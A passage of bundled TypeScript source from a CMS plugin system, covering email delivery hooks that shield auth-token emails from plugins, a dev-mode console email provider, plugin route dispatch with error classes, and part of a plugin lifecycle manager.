tokens\n\t\t// that must never be exposed to plugin hooks — a malicious interceptor\n\t\t// could rewrite the body/URL to steal auth tokens even if the `to`\n\t\t// field is protected.\n\t\tlet finalMessage: EmailMessage;\n\t\tif (isSystemEmail) {\n\t\t\tfinalMessage = message;\n\t\t} else {\n\t\t\t// Stage 1: email:beforeSend middleware (can transform or cancel)\n\t\t\tconst beforeResult = await this.pipeline.runEmailBeforeSend(message, source);\n\n\t\t\tif (beforeResult.message === false) {\n\t\t\t\t// Cancelled by middleware — find which plugin cancelled for audit log\n\t\t\t\tconst cancellingResult = beforeResult.results.find((r) => r.value === false);\n\t\t\t\tconst cancelledBy = cancellingResult?.pluginId ?? \"unknown\";\n\n\t\t\t\tconsole.info(`[email] Email to \"${message.to}\" cancelled by plugin \"${cancelledBy}\"`);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tfinalMessage = beforeResult.message;\n\t\t}\n\n\t\t// Stage 2: email:deliver (exclusive hook)\n\t\tconst deliverEvent: EmailDeliverEvent = { message: finalMessage, source };\n\t\tconst deliverResult = await this.pipeline.invokeExclusiveHook(EMAIL_DELIVER_HOOK, deliverEvent);\n\n\t\tif (!deliverResult) {\n\t\t\tthrow new EmailNotConfiguredError();\n\t\t}\n\n\t\tif (deliverResult.error) {\n\t\t\tthrow deliverResult.error;\n\t\t}\n\n\t\t// Stage 3: email:afterSend (fire-and-forget)\n\t\t// System emails skip afterSend for the same reason they skip beforeSend:\n\t\t// the message contains plaintext auth tokens that must not be exposed to\n\t\t// plugin hooks. A logging/analytics hook could exfiltrate magic link URLs.\n\t\t// Errors are logged internally by the pipeline, not propagated.\n\t\tif (!isSystemEmail) {\n\t\t\tthis.pipeline\n\t\t\t\t.runEmailAfterSend(finalMessage, source)\n\t\t\t\t.catch((err) =>\n\t\t\t\t\tconsole.error(\n\t\t\t\t\t\t\"[email] afterSend pipeline error:\",\n\t\t\t\t\t\terr instanceof Error ? err.message : err,\n\t\t\t\t\t),\n\t\t\t\t);\n\t\t}\n\t}\n\n\t/**\n\t * Check if an email provider is configured and available.\n\t *\n\t * Returns true if an email:deliver provider is selected in the exclusive\n\t * hook system. Plugins and auth code use this to decide whether to show\n\t * \"send invite\" vs \"copy invite link\" UI.\n\t */\n\tisAvailable(): boolean {\n\t\treturn this.pipeline.getExclusiveSelection(EMAIL_DELIVER_HOOK) !== undefined;\n\t}\n}\n","/**\n * Dev Console Email Provider\n *\n * Built-in plugin that registers email:deliver as an exclusive hook.\n * Logs emails to console and stores them in memory (capped at 100).\n * Auto-activated when import.meta.env.DEV is true and no other provider is selected.\n *\n */\n\nimport type { EmailDeliverEvent, EmailMessage, PluginContext } from \"./types.js\";\n\n/** Plugin ID for the dev console email provider */\nexport const DEV_CONSOLE_EMAIL_PLUGIN_ID = \"emdash-console-email\";\n\n/** Maximum number of emails to keep in memory */\nconst MAX_STORED_EMAILS = 100;\n\n/**\n * Stored email record (in-memory only)\n */\nexport interface StoredEmail {\n\tmessage: EmailMessage;\n\tsource: string;\n\tsentAt: string;\n}\n\n/**\n * In-memory store for dev emails.\n * Uses globalThis so the same array is shared across Vite SSR module\n * instances (the runtime and the route handler may load separate copies\n * of this module, but globalThis is always the same object).\n */\nconst GLOBAL_KEY = Symbol.for(\"emdash:dev-emails\");\nconst g = globalThis as Record<symbol, unknown>;\nconst storedEmails: StoredEmail[] = (() => {\n\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- globalThis singleton pattern (see request-context.ts)\n\tconst existing = g[GLOBAL_KEY] as StoredEmail[] | undefined;\n\tif (existing) return existing;\n\tconst fresh: StoredEmail[] = [];\n\tg[GLOBAL_KEY] = fresh;\n\treturn fresh;\n})();\n\n/**\n * Get all stored dev emails (most recent first).\n */\nexport function getDevEmails(): StoredEmail[] {\n\treturn storedEmails.toReversed();\n}\n\n/**\n * Clear all stored dev emails.\n */\nexport function clearDevEmails(): void {\n\tstoredEmails.length = 0;\n}\n\n/**\n * The email:deliver handler for the dev console provider.\n * Logs to console and stores in memory.\n */\nexport async function devConsoleEmailDeliver(\n\tevent: EmailDeliverEvent,\n\t_ctx: PluginContext,\n): Promise<void> {\n\tconst { message, source } = event;\n\n\tconsole.log(\n\t\t`\\n📧 [dev-email] Email sent\\n` +\n\t\t\t` From: ${source}\\n` +\n\t\t\t` To: ${message.to}\\n` +\n\t\t\t` Subject: ${message.subject}\\n` +\n\t\t\t` Text: ${message.text.slice(0, 200)}${message.text.length > 200 ? \"...\" : \"\"}\\n`,\n\t);\n\n\t// Store the email\n\tstoredEmails.push({\n\t\tmessage,\n\t\tsource,\n\t\tsentAt: new Date().toISOString(),\n\t});\n\n\t// Cap at MAX_STORED_EMAILS\n\twhile (storedEmails.length > MAX_STORED_EMAILS) {\n\t\tstoredEmails.shift();\n\t}\n}\n","/**\n * Plugin Routes v2\n *\n * Handles plugin API route invocation with:\n * - Input validation via Zod schemas\n * - Route context creation\n * - Error handling\n *\n */\n\nimport { PluginContextFactory, type PluginContextFactoryOptions } from \"./context.js\";\nimport { extractRequestMeta } from \"./request-meta.js\";\nimport type { ResolvedPlugin, RouteContext, PluginRoute } from \"./types.js\";\n\n/**\n * Route metadata (public flag) without the handler.\n * Used by the catch-all route to decide auth before dispatch.\n */\nexport interface RouteMeta {\n\tpublic: boolean;\n}\n\n/**\n * Result from a route invocation\n */\nexport interface RouteResult<T = unknown> {\n\tsuccess: boolean;\n\tdata?: T;\n\terror?: {\n\t\tcode: string;\n\t\tmessage: string;\n\t\tdetails?: unknown;\n\t};\n\tstatus: number;\n}\n\n/**\n * Route invocation options\n */\nexport interface InvokeRouteOptions {\n\t/** The original request */\n\trequest: Request;\n\t/** Request body (already parsed) */\n\tbody?: unknown;\n}\n\n/**\n * Route handler for a plugin\n */\nexport class PluginRouteHandler {\n\tprivate contextFactory: PluginContextFactory;\n\tprivate plugin: ResolvedPlugin;\n\tprivate trustedProxyHeaders: string[];\n\n\tconstructor(plugin: ResolvedPlugin, factoryOptions: PluginContextFactoryOptions) {\n\t\tthis.plugin = plugin;\n\t\tthis.contextFactory = new PluginContextFactory(factoryOptions);\n\t\tthis.trustedProxyHeaders = factoryOptions.trustedProxyHeaders ?? [];\n\t}\n\n\t/**\n\t * Invoke a route by name\n\t */\n\tasync invoke(routeName: string, options: InvokeRouteOptions): Promise<RouteResult> {\n\t\tconst route = this.plugin.routes[routeName];\n\n\t\tif (!route) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"ROUTE_NOT_FOUND\",\n\t\t\t\t\tmessage: `Route \"${routeName}\" not found in plugin \"${this.plugin.id}\"`,\n\t\t\t\t},\n\t\t\t\tstatus: 404,\n\t\t\t};\n\t\t}\n\n\t\t// Validate input if schema is provided\n\t\tlet validatedInput: unknown;\n\t\tif (route.input) {\n\t\t\tconst parseResult = route.input.safeParse(options.body);\n\t\t\tif (!parseResult.success) {\n\t\t\t\treturn {\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: {\n\t\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\t\tmessage: \"Invalid request body\",\n\t\t\t\t\t\tdetails: parseResult.error.format(),\n\t\t\t\t\t},\n\t\t\t\t\tstatus: 400,\n\t\t\t\t};\n\t\t\t}\n\t\t\tvalidatedInput = parseResult.data;\n\t\t} else {\n\t\t\tvalidatedInput = options.body;\n\t\t}\n\n\t\t// Create route context\n\t\tconst baseContext = this.contextFactory.createContext(this.plugin);\n\t\tconst routeContext: RouteContext = {\n\t\t\t...baseContext,\n\t\t\tinput: validatedInput,\n\t\t\trequest: options.request,\n\t\t\trequestMeta: extractRequestMeta(options.request, this.trustedProxyHeaders),\n\t\t};\n\n\t\t// Execute handler\n\t\ttry {\n\t\t\tconst result = await route.handler(routeContext);\n\t\t\treturn {\n\t\t\t\tsuccess: true,\n\t\t\t\tdata: result,\n\t\t\t\tstatus: 200,\n\t\t\t};\n\t\t} catch (error) {\n\t\t\t// Handle known error types\n\t\t\tif (error instanceof PluginRouteError) {\n\t\t\t\treturn {\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: {\n\t\t\t\t\t\tcode: error.code,\n\t\t\t\t\t\tmessage: error.message,\n\t\t\t\t\t\tdetails: error.details,\n\t\t\t\t\t},\n\t\t\t\t\tstatus: error.status,\n\t\t\t\t};\n\t\t\t}\n\n\t\t\t// Unknown error -- log internally, return generic message\n\t\t\tconsole.error(`[plugin:${this.plugin.id}] Route handler failed:`, error);\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"INTERNAL_ERROR\",\n\t\t\t\t\tmessage: \"An internal error occurred\",\n\t\t\t\t},\n\t\t\t\tstatus: 500,\n\t\t\t};\n\t\t}\n\t}\n\n\t/**\n\t * Get all route names\n\t */\n\tgetRouteNames(): string[] {\n\t\treturn Object.keys(this.plugin.routes);\n\t}\n\n\t/**\n\t * Check if a route exists\n\t */\n\thasRoute(name: string): boolean {\n\t\treturn name in this.plugin.routes;\n\t}\n\n\t/**\n\t * Get route metadata without invoking the handler.\n\t * Returns null if the route doesn't exist.\n\t */\n\tgetRouteMeta(name: string): RouteMeta | null {\n\t\tconst route: PluginRoute | undefined = this.plugin.routes[name];\n\t\tif (!route) return null;\n\t\treturn { public: route.public === true };\n\t}\n}\n\n/**\n * Error class for plugin routes\n * Allows plugins to return structured errors with specific HTTP status codes\n */\nexport class PluginRouteError extends Error {\n\tconstructor(\n\t\tpublic code: string,\n\t\tmessage: string,\n\t\tpublic status: number = 400,\n\t\tpublic details?: unknown,\n\t) {\n\t\tsuper(message);\n\t\tthis.name = \"PluginRouteError\";\n\t}\n\n\t/**\n\t * Create a bad request error (400)\n\t */\n\tstatic badRequest(message: string, details?: unknown): PluginRouteError {\n\t\treturn new PluginRouteError(\"BAD_REQUEST\", message, 400, details);\n\t}\n\n\t/**\n\t * Create an unauthorized error (401)\n\t */\n\tstatic unauthorized(message: string = \"Unauthorized\"): PluginRouteError {\n\t\treturn new PluginRouteError(\"UNAUTHORIZED\", message, 401);\n\t}\n\n\t/**\n\t * Create a forbidden error (403)\n\t */\n\tstatic forbidden(message: string = \"Forbidden\"): PluginRouteError {\n\t\treturn new PluginRouteError(\"FORBIDDEN\", message, 403);\n\t}\n\n\t/**\n\t * Create a not found error (404)\n\t */\n\tstatic notFound(message: string = \"Not found\"): PluginRouteError {\n\t\treturn new PluginRouteError(\"NOT_FOUND\", message, 404);\n\t}\n\n\t/**\n\t * Create a conflict error (409)\n\t */\n\tstatic conflict(message: string, details?: unknown): PluginRouteError {\n\t\treturn new PluginRouteError(\"CONFLICT\", message, 409, details);\n\t}\n\n\t/**\n\t * Create an internal error (500)\n\t */\n\tstatic internal(message: string = \"Internal error\"): PluginRouteError {\n\t\treturn new PluginRouteError(\"INTERNAL_ERROR\", message, 500);\n\t}\n}\n\n/**\n * Registry for all plugin route handlers\n */\nexport class PluginRouteRegistry {\n\tprivate handlers: Map<string, PluginRouteHandler> = new Map();\n\n\tconstructor(private factoryOptions: PluginContextFactoryOptions) {}\n\n\t/**\n\t * Register a plugin's routes\n\t */\n\tregister(plugin: ResolvedPlugin): void {\n\t\tconst handler = new PluginRouteHandler(plugin, this.factoryOptions);\n\t\tthis.handlers.set(plugin.id, handler);\n\t}\n\n\t/**\n\t * Unregister a plugin's routes\n\t */\n\tunregister(pluginId: string): void {\n\t\tthis.handlers.delete(pluginId);\n\t}\n\n\t/**\n\t * Invoke a plugin route\n\t */\n\tasync invoke(\n\t\tpluginId: string,\n\t\trouteName: string,\n\t\toptions: InvokeRouteOptions,\n\t): Promise<RouteResult> {\n\t\tconst handler = this.handlers.get(pluginId);\n\n\t\tif (!handler) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"PLUGIN_NOT_FOUND\",\n\t\t\t\t\tmessage: `Plugin \"${pluginId}\" not found`,\n\t\t\t\t},\n\t\t\t\tstatus: 404,\n\t\t\t};\n\t\t}\n\n\t\treturn handler.invoke(routeName, options);\n\t}\n\n\t/**\n\t * Get all registered plugin IDs\n\t */\n\tgetPluginIds(): string[] {\n\t\treturn [...this.handlers.keys()];\n\t}\n\n\t/**\n\t * Get routes for a plugin\n\t */\n\tgetRoutes(pluginId: string): string[] {\n\t\treturn this.handlers.get(pluginId)?.getRouteNames() ?? [];\n\t}\n\n\t/**\n\t * Get route metadata for a specific plugin route.\n\t * Returns null if the plugin or route doesn't exist.\n\t */\n\tgetRouteMeta(pluginId: string, routeName: string): RouteMeta | null {\n\t\tconst handler = this.handlers.get(pluginId);\n\t\tif (!handler) return null;\n\t\treturn handler.getRouteMeta(routeName);\n\t}\n}\n\n/**\n * Create a route registry\n */\nexport function createRouteRegistry(\n\tfactoryOptions: PluginContextFactoryOptions,\n): PluginRouteRegistry {\n\treturn new PluginRouteRegistry(factoryOptions);\n}\n","/**\n * Plugin Manager v2\n *\n * Central orchestrator for the plugin system:\n * - Loads and resolves plugins\n * - Manages plugin lifecycle (install, activate, deactivate, uninstall)\n * - Dispatches hooks across all plugins\n * - Routes API requests to plugins\n *\n */\n\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\n\nimport { OptionsRepository } from \"../database/repositories/options.js\";\nimport type { Database } from \"../database/types.js\";\nimport type { Storage } from \"../storage/types.js\";\nimport type { PluginContextFactoryOptions } from \"./context.js\";\nimport { setCronTasksEnabled } from \"./cron.js\";\nimport { definePlugin } from \"./define-plugin.js\";\nimport type { EmailPipeline } from \"./email.js\";\nimport {\n\tHookPipeline,\n\ttype HookResult,\n\tresolveExclusiveHooks as resolveExclusiveHooksShared,\n} from \"./hooks.js\";\nimport { PluginRouteRegistry, type RouteResult, type InvokeRouteOptions } from \"./routes.js\";\nimport type {\n\tPluginDefinition,\n\tResolvedPlugin,\n\tPluginStorageConfig,\n\tMediaItem,\n\tCronEvent,\n} from \"./types.js\";\n\n/** Options table key prefix for exclusive hook DB reads via PluginManager */\nconst EXCLUSIVE_HOOK_KEY_PREFIX = \"emdash:exclusive_hook:\";\n\n/**\n * Plugin state in the manager\n */\nexport type PluginState = \"registered\" | \"installed\" | \"active\" | \"inactive\";\n\n/**\n * Plugin entry in the manager\n */\ninterface PluginEntry {\n\tplugin: ResolvedPlugin;\n\tstate: PluginState;\n}\n\n/**\n * Plugin manager options\n */\nexport interface PluginManagerOptions {\n\t/** Database instance */\n\tdb: Kysely<Database>;\n\t/** Storage backend for direct media uploads */\n\tstorage?: Storage;\n\t/** Function to generate upload URLs for media */\n\tgetUploadUrl?: (\n\t\tfilename: string,\n\t\tcontentType: string,\n\t) => Promise<{ uploadUrl: string; mediaId: string }>;\n\t/**\n\t * Pre-resolved list of trusted proxy header names for client-IP\n\t * resolution in plugin route handlers. Thread through from the runtime.\n\t */\n\ttrustedProxyHeaders?: string[];\n}\n\n/**\n * Plugin Manager v2\n *\n * Manages the full lifecycle of plugins and coordinates hooks/routes.\n */\nexport class PluginManager {\n\tprivate plugins: Map<string, PluginEntry> = new Map();\n\tprivate hookPipeline: HookPipeline | null = null;\n\tprivate routeRegistry: PluginRouteRegistry | null = null;\n\tprivate factoryOptions: PluginContextFactoryOptions;\n\tprivate initialized = false;\n\n\tconstructor(private options: PluginManagerOptions) {\n\t\tthis.factoryOptions = {\n\t\t\tdb: options.db,\n\t\t\tstorage: options.storage,\n\t\t\tgetUploadUrl: options.getUploadUrl,\n\t\t\ttrustedProxyHeaders: options.trustedProxyHeaders,\n\t\t};\n\t}\n\n\t/**\n\t * Set the email pipeline used when creating plugin contexts.\n\t * Reinitializes routes/hooks if already initialized so ctx.email is available immediately.\n\t */\n\tsetEmailPipeline(pipeline: EmailPipeline): void {\n\t\tthis.factoryOptions.emailPipeline = pipeline;\n\t\tif (this.initialized) {\n\t\t\tthis.reinitialize();\n\t\t}\n\t}\n\n\t// =========================================================================\n\t// Plugin Registration\n\t// =========================================================================\n\n\t/**\n\t * Register a plugin definition\n\t * This resolves the definition and adds it to the manager, but doesn't install it\n\t */\n\tregister<TStorage extends PluginStorageConfig>(\n\t\tdefinition: PluginDefinition<TStorage>,\n\t): ResolvedPlugin<TStorage> {\n\t\tconst resolved = definePlugin(definition);\n\n\t\tif (this.plugins.has(resolved.id)) {\n\t\t\tthrow new Error(`Plugin \"${resolved.id}\" is already registered`);\n\t\t}\n\n\t\tthis.plugins.set(resolved.id, {\n\t\t\tplugin: resolved,\n\t\t\tstate: \"registered\",\n\t\t});\n\n\t\t// Mark as needing reinitialization\n\t\tthis.initialized = false;\n\n\t\treturn resolved;\n\t}\n\n\t/**\n\t * Register multiple plugins\n\t */\n\tregisterAll(definitions: PluginDefinition[]): void {\n\t\tfor (const def of definitions) {\n\t\t\tthis.register(def);\n\t\t}\n\t}\n\n\t/**\n\t * Unregister a plugin\n\t * Plugin must be inactive or just registered\n\t */\n\tunregister(pluginId: string): boolean {\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) return false;\n\n\t\tif (entry.state === \"active\") {\n\t\t\tthrow new Error(`Cannot unregister active plugin \"${pluginId}\". Deactivate it first.`);\n\t\t}\n\n\t\tthis.plugins.delete(pluginId);\n\t\tthis.initialized = false;\n\t\treturn true;\n\t}\n\n\t// =========================================================================\n\t// Plugin Lifecycle\n\t// =========================================================================\n\n\t/**\n\t * Install a plugin (run install hooks, set up storage)\n\t */\n\tasync install(pluginId: string): Promise<HookResult<void>[]> {\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\n\t\tif (entry.state !== \"registered\") {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" is already installed (state: ${entry.state})`);\n\t\t}\n\n\t\tthis.ensureInitialized();\n\n\t\t// Run install hooks\n\t\tconst results = await this.hookPipeline!.runPluginInstall(pluginId);\n\n\t\t// Check for errors\n\t\tconst failed = results.find((r) => !r.success);\n\t\tif (failed) {\n\t\t\tthrow new Error(`Plugin install failed: ${failed.error?.message ?? \"Unknown error\"}`);\n\t\t}\n\n\t\tentry.state = \"installed\";\n\t\treturn results;\n\t}\n\n\t/**\n\t * Activate a plugin (run activate hooks, enable hooks/routes)\n\t */\n\tasync activate(pluginId: string): Promise<HookResult<void>[]> {\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\n\t\tif (entry.state === \"active\") {\n\t\t\treturn []; // Already active\n\t\t}\n\n\t\tif (entry.state === \"registered\") {\n\t\t\t// Auto-install if not installed\n\t\t\tawait this.install(pluginId);\n\t\t}\n\n\t\tthis.ensureInitialized();\n\n\t\t// Run activate hooks\n\t\tconst results = await this.hookPipeline!.runPluginActivate(pluginId);\n\n\t\t// Check for errors\n\t\tconst failed = results.find((r) => !r.success);\n\t\tif (failed) {\n\t\t\tthrow new Error(`Plugin activation failed: ${failed.error?.message ?? \"Unknown error\"}`);\n\t\t}\n\n\t\tentry.state = \"active\";\n\n\t\t// Re-enable cron tasks for the activated plugin\n\t\tawait setCronTasksEnabled(this.options.db, pluginId, true);\n\n\t\t// Reinitialize pipeline so the newly active plugin's hooks are registered\n\t\tthis.reinitialize();\n\n\t\t// Resolve exclusive hooks (new provider may need auto-selection)\n\t\tawait this.resolveExclusiveHooks();\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Deactivate a plugin (run deactivate hooks, disable hooks/routes)\n\t */\n\tasync deactivate(pluginId: string): Promise<HookResult<void>[]> {\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\n\t\tif (entry.state !== \"active\") {\n\t\t\treturn []; // Not active\n\t\t}\n\n\t\tthis.ensureInitialized();\n\n\t\t// Run deactivate hooks\n\t\tconst results = await this.hookPipeline!.runPluginDeactivate(pluginId);\n\n\t\t// Disable cron tasks for the deactivated plugin\n\t\tawait setCronTasksEnabled(this.options.db, pluginId, false);\n\n\t\tentry.state = \"inactive\";\n\n\t\t// Reinitialize pipeline so the deactivated plugin's hooks are removed\n\t\tthis.reinitialize();\n\n\t\t// Resolve exclusive hooks (deactivated provider may need clearing)\n\t\tawait this.resolveExclusiveHooks();\n\n\t\treturn results;\n\t}\n\n\t/**\n\t * Uninstall a plugin (run uninstall hooks, optionally delete data)\n\t */\n\tasync uninstall(pluginId: string, deleteData: boolean = false): Promise<HookResult<void>[]> {\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\n\t\t// Deactivate first if active (this also resolves exclusive hooks)\n\t\tif (entry.state === \"active\") {\n\t\t\tawait this.deactivate(pluginId);\n\t\t}\n\n\t\tthis.ensureInitialized();\n\n\t\t// Run uninstall hooks\n\t\tconst results = await this.hookPipeline!.runPluginUninstall(pluginId, deleteData);\n\n\t\t// Delete all cron tasks for the uninstalled plugin\n\t\tawait this.deleteCronTasks(pluginId);\n\n\t\t// Remove from manager\n\t\tthis.plugins.delete(pluginId);\n\t\tthis.initialized = false;\n\n\t\t// Resolve exclusive hooks after removal\n\t\tawait this.resolveExclusiveHooks();\n\n\t\treturn results;\n\t}\n\n\t// =========================================================================\n\t// Hook Dispatch\n\t// =========================================================================\n\n\t/**\n\t * Run content:beforeSave hooks across all active plugins\n\t */\n\tasync runContentBeforeSave(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t\tisNew: boolean,\n\t): Promise<{\n\t\tcontent: Record<string, unknown>;\n\t\tresults: HookResult<Record<string, unknown>>[];\n\t}> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentBeforeSave(content, collection, isNew);\n\t}\n\n\t/**\n\t * Run content:afterSave hooks across all active plugins\n\t */\n\tasync runContentAfterSave(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t\tisNew: boolean,\n\t): Promise<HookResult<void>[]> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentAfterSave(content, collection, isNew);\n\t}\n\n\t/**\n\t * Run content:beforeDelete hooks across all active plugins\n\t */\n\tasync runContentBeforeDelete(\n\t\tid: string,\n\t\tcollection: string,\n\t): Promise<{ allowed: boolean; results: HookResult<boolean>[] }> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentBeforeDelete(id, collection);\n\t}\n\n\t/**\n\t * Run content:afterDelete hooks across all active plugins\n\t */\n\tasync runContentAfterDelete(\n\t\tid: string,\n\t\tcollection: string,\n\t\tpermanent: boolean,\n\t): Promise<HookResult<void>[]> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentAfterDelete(id, collection, permanent);\n\t}\n\n\t/**\n\t * Run content:afterPublish hooks across all active plugins\n\t */\n\tasync runContentAfterPublish(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t): Promise<HookResult<void>[]> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentAfterPublish(content, collection);\n\t}\n\n\t/**\n\t * Run content:afterUnpublish hooks across all active plugins\n\t */\n\tasync runContentAfterUnpublish(\n\t\tcontent: Record<string, unknown>,\n\t\tcollection: string,\n\t): Promise<HookResult<void>[]> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runContentAfterUnpublish(content, collection);\n\t}\n\n\t/**\n\t * Run media:beforeUpload hooks across all active plugins\n\t */\n\tasync runMediaBeforeUpload(file: { name: string; type: string; size: number }): Promise<{\n\t\tfile: { name: string; type: string; size: number };\n\t\tresults: HookResult<{ name: string; type: string; size: number }>[];\n\t}> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runMediaBeforeUpload(file);\n\t}\n\n\t/**\n\t * Run media:afterUpload hooks across all active plugins\n\t */\n\tasync runMediaAfterUpload(media: MediaItem): Promise<HookResult<void>[]> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.runMediaAfterUpload(media);\n\t}\n\n\t/**\n\t * Invoke the cron hook for a specific plugin (per-plugin dispatch).\n\t * Used as the InvokeCronHookFn callback for CronExecutor.\n\t */\n\tasync invokeCronHook(pluginId: string, event: CronEvent): Promise<void> {\n\t\tthis.ensureInitialized();\n\t\tconst result = await this.hookPipeline!.invokeCronHook(pluginId, event);\n\t\tif (!result.success && result.error) {\n\t\t\tthrow result.error;\n\t\t}\n\t}\n\n\t// =========================================================================\n\t// Route Dispatch\n\t// =========================================================================\n\n\t/**\n\t * Invoke a plugin route\n\t */\n\tasync invokeRoute(\n\t\tpluginId: string,\n\t\trouteName: string,\n\t\toptions: InvokeRouteOptions,\n\t): Promise<RouteResult> {\n\t\tthis.ensureInitialized();\n\t\treturn this.routeRegistry!.invoke(pluginId, routeName, options);\n\t}\n\n\t/**\n\t * Get all routes for a plugin\n\t */\n\tgetPluginRoutes(pluginId: string): string[] {\n\t\tthis.ensureInitialized();\n\t\treturn this.routeRegistry!.getRoutes(pluginId);\n\t}\n\n\t// =========================================================================\n\t// Query Methods\n\t// =========================================================================\n\n\t/**\n\t * Get a plugin by ID\n\t */\n\tgetPlugin(pluginId: string): ResolvedPlugin | undefined {\n\t\treturn this.plugins.get(pluginId)?.plugin;\n\t}\n\n\t/**\n\t * Get plugin state\n\t */\n\tgetPluginState(pluginId: string): PluginState | undefined {\n\t\treturn this.plugins.get(pluginId)?.state;\n\t}\n\n\t/**\n\t * Get all registered plugins\n\t */\n\tgetAllPlugins(): Array<{ plugin: ResolvedPlugin; state: PluginState }> {\n\t\treturn Array.from(this.plugins.values(), (entry) => ({\n\t\t\tplugin: entry.plugin,\n\t\t\tstate: entry.state,\n\t\t}));\n\t}\n\n\t/**\n\t * Get all active plugins\n\t */\n\tgetActivePlugins(): ResolvedPlugin[] {\n\t\treturn [...this.plugins.values()]\n\t\t\t.filter((entry) => entry.state === \"active\")\n\t\t\t.map((entry) => entry.plugin);\n\t}\n\n\t/**\n\t * Check if a plugin exists\n\t */\n\thasPlugin(pluginId: string): boolean {\n\t\treturn this.plugins.has(pluginId);\n\t}\n\n\t/**\n\t * Check if a plugin is active\n\t */\n\tisActive(pluginId: string): boolean {\n\t\treturn this.plugins.get(pluginId)?.state === \"active\";\n\t}\n\n\t// =========================================================================\n\t// Exclusive Hooks\n\t// =========================================================================\n\n\t/**\n\t * Get all plugins that registered a handler for an exclusive hook.\n\t */\n\tgetExclusiveHookProviders(hookName: string): Array<{ pluginId: string; pluginName: string }> {\n\t\tthis.ensureInitialized();\n\t\treturn this.hookPipeline!.getExclusiveHookProviders(hookName).map((p) => {\n\t\t\tconst plugin = this.plugins.get(p.pluginId);\n\t\t\treturn {\n\t\t\t\tpluginId: p.pluginId,\n\t\t\t\tpluginName: plugin?.plugin.id ?? p.pluginId,\n\t\t\t};\n\t\t});\n\t}\n\n\t/**\n\t * Read the selected provider for an exclusive hook from the options table.\n\t */\n\tasync getExclusiveHookSelection(hookName: string): Promise<string | null> {\n\t\tconst optionsRepo = new OptionsRepository(this.options.db);\n\t\treturn optionsRepo.get<string>(`${EXCLUSIVE_HOOK_KEY_PREFIX}${hookName}`);\n\t}\n\n\t/**\n\t * Set the selected provider for an exclusive hook in the options table.\n\t * Pass null to clear the selection.\n\t */\n\tasync setExclusiveHookSelection(hookName: string, pluginId: string | null): Promise<void> {\n\t\tconst optionsRepo = new OptionsRepository(this.options.db);\n\t\tconst key = `${EXCLUSIVE_HOOK_KEY_PREFIX}${hookName}`;\n\n\t\tif (pluginId === null) {\n\t\t\tawait optionsRepo.delete(key);\n\t\t\tthis.hookPipeline?.clearExclusiveSelection(hookName);\n\t\t\treturn;\n\t\t}\n\n\t\t// Validate plugin exists and is active\n\t\tconst entry = this.plugins.get(pluginId);\n\t\tif (!entry) {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" not found`);\n\t\t}\n\t\tif (entry.state !== \"active\") {\n\t\t\tthrow new Error(`Plugin \"${pluginId}\" is not active`);\n\t\t}\n\n\t\tawait optionsRepo.set(key, pluginId);\n\t\tthis.hookPipeline?.setExclusiveSelection(hookName, pluginId);\n\t}\n\n\t/**\n\t * Resolution algorithm for exclusive hooks.\n\t *\n\t * Delegates to the shared resolveExclusiveHooks() function.\n\t * See hooks.ts for the full algorithm description.\n\t */\n\tasync resolveExclusiveHooks(preferredHints?: Map<string, string[]>): Promise<void> {\n\t\tthis.ensureInitialized();\n\n\t\tconst optionsRepo = new OptionsRepository(this.options.db);\n\n\t\tawait resolveExclusiveHooksShared({\n\t\t\tpipeline: this.hookPipeline!,\n\t\t\tisActive: (pluginId) => this.isActive(pluginId),\n\t\t\tgetOption: (key) => optionsRepo.get<string>(key),\n\t\t\tsetOption: (key, value) => optionsRepo.set(key, value),\n\t\t\tdeleteOption: async (key) => {\n\t\t\t\tawait optionsRepo.delete(key);\n\t\t\t},\n\t\t\tpreferredHints,\n\t\t});\n\t}\n\n\t/**\n\t * Get all exclusive hooks with their providers and current selections.\n\t * Used by the admin API.\n\t */\n\tasync getExclusiveHooksInfo(): Promise<\n\t\tArray<{\n\t\t\thookName: string;\n\t\t\tproviders: Array<{ pluginId: string }>;\n\t\t\tselectedPluginId: string | null;\n\t\t}>\n\t> {\n\t\tthis.ensureInitialized();\n\t\tconst exclusiveHookNames = this.hookPipeline!.getRegisteredExclusiveHooks();\n\t\tconst result = [];\n\n\t\tfor (const hookName of exclusiveHookNames) {\n\t\t\tconst providers = this.hookPipeline!.getExclusiveHookProviders(hookName);\n\t\t\tconst selection = await 